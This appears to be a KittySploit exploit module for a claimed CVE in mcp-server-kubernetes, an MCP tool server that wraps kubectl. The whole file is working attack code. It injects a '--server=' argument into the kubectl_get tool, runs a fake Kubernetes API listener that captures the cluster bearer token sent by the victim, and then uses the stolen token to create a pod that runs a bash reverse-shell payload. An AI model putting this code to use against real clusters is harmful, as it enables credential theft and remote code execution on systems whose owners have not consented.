mcp-server-kubernetes RCE (CVE-2026-61459)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""mcp-server-kubernetes argument injection to pod RCE (CVE-2026-61459)."""

import threading
from urllib.parse import urlparse

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server
from lib.protocols.kubernetes.kubernetes_client import KubernetesClient


class Module(Exploit, Http_client, Http_server):
    __info__ = {
        'name': 'mcp-server-kubernetes RCE (CVE-2026-61459)',
        'description': (
            'Full-chain CVE-2026-61459: inject --server into kubectl MCP tools to '
            'exfiltrate the cluster bearer token, then create a privileged pod running '
            'the configured reverse CMD payload via the Kubernetes API.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2026-61459'],
        'platform': Platform.MULTI,
        'arch': [Arch.CMD],
        'payload': {
            'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
            'platform': Platform.UNIX,
            'category': PayloadCategory.CMD,
        },
        'references': ['https://github.com/Flux159/mcp-server-kubernetes'],
        'tags': ['mcp', 'kubernetes', 'kubectl', 'argument-injection', 'rce', 'cve-2026-61459'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 3,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'rce', 'credentials'],
            'chain': {
                'suggested_followups': [
                    'auxiliary/admin/http/mcp_server_kubernetes_cve_2026_61459_token_exfil',
                ],
            },
        },
    }

    port = OptPort(8080, 'MCP server port', required=True)
    ssl = OptBool(False, 'Use HTTPS for MCP endpoint', required=True)
    path = OptString('/mcp', 'MCP JSON-RPC path', required=False)
    callback_host = OptString('', 'Callback host reachable by MCP server', required=False)
    srvport = OptPort(6443, 'Local fake K8s API callback port', required=True)
    cluster_api = OptString('', 'Real Kubernetes API URL', required=True)
    namespace = OptString('default', 'Target namespace for malicious pod', required=False)
    pod_name = OptString('', 'Malicious pod name (random if empty)', required=False)
    command = OptString('', 'Command instead of payload', required=False)
    wait_seconds = OptInteger(15, 'Seconds to wait for token callback', required=False)
    insecure = OptBool(True, 'Skip TLS verification on CLUSTER_API', required=False)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._captured_token = None
        self._capture_event = threading.Event()

    def _mcp_path(self) -> str:
        val = str(self.path or '/mcp').strip() or '/mcp'
        return val if val.startswith('/') else f'/{val}'

    def _resolve_callback_host(self) -> str:
        manual = str(self.callback_host or '').strip()
        if manual:
            return manual
        lhost = str(self.lhost or '').strip()
        if lhost:
            return lhost
        srvhost = str(self.srvhost or '0.0.0.0').strip()
        if srvhost not in ('0.0.0.0', '::'):
            return srvhost
        raise RuntimeError('Set callback_host or lhost')

    def _call_tool(self, server_url: str):
        return self.http_request(
            method='POST',
            path=self._mcp_path(),
            json={
                'jsonrpc': '2.0',
                'method': 'tools/call',
                'params': {
                    'name': 'kubectl_get',
                    'arguments': {
                        'resourceType': f'--server={server_url}',
                        'name': 'dummy-pod',
                        'namespace': str(self.namespace or 'default'),
                        'output': 'json',
                    },
                },
                'id': 1,
            },
            headers={'Content-Type': 'application/json'},
            timeout=15,
        )

    def _start_capture_server(self):
        module = self
        module._captured_token = None
        module._capture_event.clear()

        def handle_request(handler):
            auth = handler.headers.get('Authorization', '')
            if auth.lower().startswith('bearer '):
                token = auth[7:].strip()
                if token:
                    module._captured_token = token
                    module._capture_event.set()
            body = b'{"kind":"Status","status":"Failure","code":401}'
            handler.send_response(401)
            handler.send_header('Content-Type', 'application/json')
            handler.send_header('Content-Length', str(len(body)))
            handler.end_headers()
            if handler.command != 'HEAD':
                handler.wfile.write(body)

        if not self.srvhost:
            self.srvhost = '0.0.0.0'
        methods = {m: handle_request for m in ('GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS')}
        return self.listen_http(methods, forever=True, background=True)

    def _create_exec_pod(self, client: KubernetesClient, cmd: str) -> bool:
        ns = str(self.namespace or 'default')
        name = str(self.pod_name or '').strip() or f'ks-{self.random_text(8)}'
        manifest = {
            'apiVersion': 'v1',
            'kind': 'Pod',
            'metadata': {'name': name, 'namespace': ns},
            'spec': {
                'containers': [{
                    'name': 'ks-exploit',
                    'image': 'alpine:latest',
                    'command': ['/bin/sh', '-c', cmd],
                }],
                'restartPolicy': 'Never',
            },
        }
        result = client.post(f'/api/v1/namespaces/{ns}/pods', json_body=manifest)
        if result.ok:
            print_success(f'Pod {name} created in namespace {ns}')
            return True
        print_error(f'Pod creation failed: {result.error or result.status_code}')
        return False

    def check(self):
        response = self._call_tool('http://127.0.0.1:1')
        if response and int(response.status_code or 0) == 200:
            return {'vulnerable': True, 'reason': 'MCP kubectl injection accepted', 'confidence': 'medium'}
        return {'vulnerable': False, 'reason': f'MCP rejected injection (HTTP {getattr(response, "status_code", "?")})', 'confidence': 'medium'}

    def run(self):
        cmd = str(self.command or '').strip() or str(self.payload or '').strip()
        cluster_api = str(self.cluster_api or '').strip()
        if not cmd or not cluster_api:
            print_error('Set payload/command and cluster_api')
            return False
        print_status('CVE-2026-61459 — mcp-server-kubernetes RCE chain')
        httpd = None
        try:
            callback_host = self._resolve_callback_host()
            callback_url = f'http://{callback_host}:{int(self.srvport or 6443)}'
            wait_s = max(int(self.wait_seconds or 15), 1)
            httpd = self._start_capture_server()
            response = self._call_tool(callback_url)
            if not response or int(response.status_code or 0) != 200:
                print_error('MCP tool call failed')
                self.not_vulnerable()
                return False
            print_status(f'Waiting up to {wait_s}s for bearer token...')
            if not self._capture_event.wait(timeout=wait_s):
                print_error('No bearer token captured')
                return False
            print_success('Bearer token captured')
            if not cluster_api.startswith('http'):
                cluster_api = f'https://{cluster_api}'
            client = KubernetesClient(
                api_server=cluster_api,
                token=self._captured_token,
                insecure=bool(self.insecure),
                namespace=str(self.namespace or 'default'),
            )
            if not client.connect():
                print_error('CLUSTER_API rejected captured token')
                client.close()
                return False
            if self._create_exec_pod(client, cmd):
                print_success('Payload dispatched via malicious pod — check listener')
                self.vulnerable()
                return True
            return False
        except RuntimeError as exc:
            print_error(str(exc))
            return False
        finally:
            if httpd:
                self.web_shutdown(httpd)